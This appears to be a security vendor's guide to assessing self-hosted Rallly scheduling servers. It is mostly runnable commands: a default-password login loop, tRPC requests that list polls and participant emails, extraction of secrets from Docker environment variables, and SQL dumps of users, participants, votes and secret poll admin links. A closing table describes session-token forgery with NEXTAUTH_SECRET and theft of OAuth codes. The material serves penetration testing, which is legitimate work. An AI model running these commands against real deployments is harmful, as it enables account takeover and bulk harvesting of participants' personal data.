Rallly is a widely deployed self-hosted scheduling and meeting poll application — used as a Doodle alternative for coordinating meetings and events. It stores participant names, email addresses, and availability preferences for every scheduling poll created on the platform. Key assessment areas: NEXTAUTH_SECRET is the NextAuth.js session signing key enabling account takeover; the PostgreSQL database stores all participant contact data; OAuth provider credentials (Google, GitHub, Microsoft) enable SSO authentication; and public polls may expose participant data without authentication. This guide covers systematic Rallly security assessment.
# Rallly — admin access and poll participant enumeration
RALLLY_URL="https://rallly.example.com"
# Rallly uses NextAuth.js — test common admin credentials
# Default admin is configured via NEXT_PUBLIC_SUPPORT_EMAIL env var
# Try email/password pairs for the configured admin account
for CRED in "admin@example.com:admin" "admin@example.com:password" \
"rallly@example.com:rallly" "support@example.com:admin123"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESULT=$(curl -s -X POST "${RALLLY_URL}/api/auth/callback/credentials" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
echo "${EMAIL}: $(echo $RESULT | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('url','FAIL'))" 2>/dev/null)"
done
# Enumerate polls via the trpc API (may be accessible without auth)
# Rallly uses tRPC — endpoints are under /api/trpc/
curl -s "${RALLLY_URL}/api/trpc/polls.list?batch=1&input=%7B%220%22%3A%7B%22json%22%3Anull%7D%7D" \
-H "Cookie: next-auth.session-token=SESSION_TOKEN" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
polls = d[0].get('result',{}).get('data',{}).get('json',{})
plist = polls.get('polls',[]) if isinstance(polls,dict) else []
print(f'Polls: {len(plist)}')
for p in plist[:10]:
print(f' [{p.get(\"id\",\"\")}] {p.get(\"title\",\"\")}')
print(f' participantCount={p.get(\"participantCount\")} status={p.get(\"status\")}')
" 2>/dev/null
# Access a specific poll's participants (public polls may expose participant data)
POLL_ID="your-poll-id"
curl -s "${RALLLY_URL}/api/trpc/polls.participants.list?batch=1&input=%7B%220%22%3A%7B%22json%22%3A%7B%22pollId%22%3A%22${POLL_ID}%22%7D%7D%7D" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d[0].get('result',{}).get('data',{}).get('json',{})
participants = data.get('participants',[]) if isinstance(data,dict) else []
print(f'Participants: {len(participants)}')
for p in participants:
print(f' [{p.get(\"id\",\"\")}] {p.get(\"name\",\"\")} email={p.get(\"email\",\"\")}')
" 2>/dev/null
# Rallly OAuth client secrets and session token testing
RALLLY_URL="https://rallly.example.com"
# NextAuth.js OAuth provider configuration — credentials in environment
# Google OAuth
GOOGLE_CLIENT_ID="from-env"
GOOGLE_CLIENT_SECRET="GOCSPX-xxxxx" # Exposed in .env or Docker
# GitHub OAuth
GITHUB_CLIENT_ID="from-env"
GITHUB_CLIENT_SECRET="ghp_xxxxx"
# Microsoft/Azure OAuth
MICROSOFT_CLIENT_ID="from-env"
MICROSOFT_CLIENT_SECRET="xxxxx"
# Test if any OIDC provider discovery endpoint is exposed
curl -s "${RALLLY_URL}/.well-known/openid-configuration" 2>/dev/null
curl -s "${RALLLY_URL}/api/auth/providers" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Configured OAuth providers:')
for name, info in d.items():
print(f' {name}: {info.get(\"type\")} signinUrl={info.get(\"signinUrl\")}')
" 2>/dev/null
# NextAuth.js CSRF token and session token extraction
CSRF=$(curl -s "${RALLLY_URL}/api/auth/csrf" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('csrfToken',''))
" 2>/dev/null)
echo "CSRF Token: ${CSRF}"
# Session information (requires valid session token)
curl -s "${RALLLY_URL}/api/auth/session" \
-H "Cookie: next-auth.session-token=CAPTURED_SESSION_TOKEN" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('user',{})
print(f'Session user: email={user.get(\"email\")} name={user.get(\"name\")}')
print(f' id={user.get(\"id\")} expires={d.get(\"expires\")}')
" 2>/dev/null
# Rallly NEXTAUTH_SECRET and database extraction
# Docker environment variables
docker inspect rallly 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','PASSWORD','DATABASE','GOOGLE','GITHUB','SMTP','MICROSOFT']):
print(e)
" 2>/dev/null
# NEXTAUTH_SECRET — signs all NextAuth.js session JWTs
# DATABASE_URL — PostgreSQL connection string with credentials
# GOOGLE_CLIENT_ID, GOOGLE_CLIENT_SECRET — Google OAuth credentials
# GITHUB_CLIENT_ID, GITHUB_CLIENT_SECRET — GitHub OAuth credentials
# SMTP_HOST, SMTP_USER, SMTP_PASSWORD, SMTP_SECURE — email delivery
# NEXT_PUBLIC_SUPPORT_EMAIL — admin email address
# PostgreSQL — all Rallly organizational data
DB_URL="postgresql://rallly:PASSWORD@localhost/rallly"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All user accounts
SELECT u.id, u.email, u.name,
u.role,
u."timeZone",
u."createdAt", u."updatedAt"
FROM users u
ORDER BY u.role DESC, u."createdAt" ASC
LIMIT 20;
EOF
-- All polls with organizer data
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT p.id, p.title,
p.description,
p."userId" as organizer_id,
u.email as organizer_email,
p.status,
p."adminUrlId",
p."participantUrlId",
p."createdAt"
FROM polls p
JOIN users u ON p."userId" = u.id
ORDER BY p."createdAt" DESC
LIMIT 20;
EOF
-- adminUrlId: the secret admin link for the poll — enables full poll management
-- All participants and their email addresses (PII)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT pa.id, pa.name,
pa.email,
pa."pollId",
p.title as poll_title,
pa."createdAt"
FROM participants pa
JOIN polls p ON pa."pollId" = p.id
ORDER BY pa."createdAt" DESC
LIMIT 30;
EOF
-- email: participant email addresses from all scheduling polls
-- All votes (availability preferences per participant)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT v.id,
v."participantId",
pa.name as participant_name,
pa.email as participant_email,
v."optionId",
v.type,
v."pollId"
FROM votes v
JOIN participants pa ON v."participantId" = pa.id
ORDER BY v."pollId", pa.name
LIMIT 30;
EOF
| Security Test | Method | Risk |
|---|---|---|
| NEXTAUTH_SECRET extraction and JWT session forgery | Read .env NEXTAUTH_SECRET — forge NextAuth.js JWT session tokens for any user account; impersonate poll organizers; access all their polls and participant data; admin account impersonation for full platform access | High |
| PostgreSQL participants table email enumeration | SELECT email FROM participants — all participant email addresses from every scheduling poll; PII breach affecting all users who ever participated in a poll, including non-registered users who participated as guests | High |
| Poll adminUrlId extraction and management takeover | SELECT adminUrlId FROM polls — secret admin tokens for every poll; allows editing poll title/options, deleting polls, and viewing full participant response data for any poll on the platform | High |
| OAuth client secret extraction enabling SSO impersonation | Read .env GOOGLE_CLIENT_SECRET/GITHUB_CLIENT_SECRET — impersonate Rallly's OAuth application with the provider; manipulate OAuth callback URLs to steal authentication codes; enables persistent account access even after NEXTAUTH_SECRET rotation | High |
| Public poll participant list access without authentication | GET /api/trpc/polls.participants.list with poll ID — participant names and emails may be accessible to anyone with the poll URL; bulk collection of participant contact data from all public polls | Medium |
Ironimo tests Rallly deployments for NEXTAUTH_SECRET JWT session token forgery, PostgreSQL participants table email address extraction, poll adminUrlId token enumeration enabling management takeover, OAuth client secret exposure (Google/GitHub/Microsoft), public poll participant list unauthenticated access, SMTP_PASSWORD email credential extraction, DATABASE_URL connection string Docker exposure, tRPC API endpoint enumeration without authentication, poll creation rate limiting assessment, and participant data PII governance controls.
Start free scan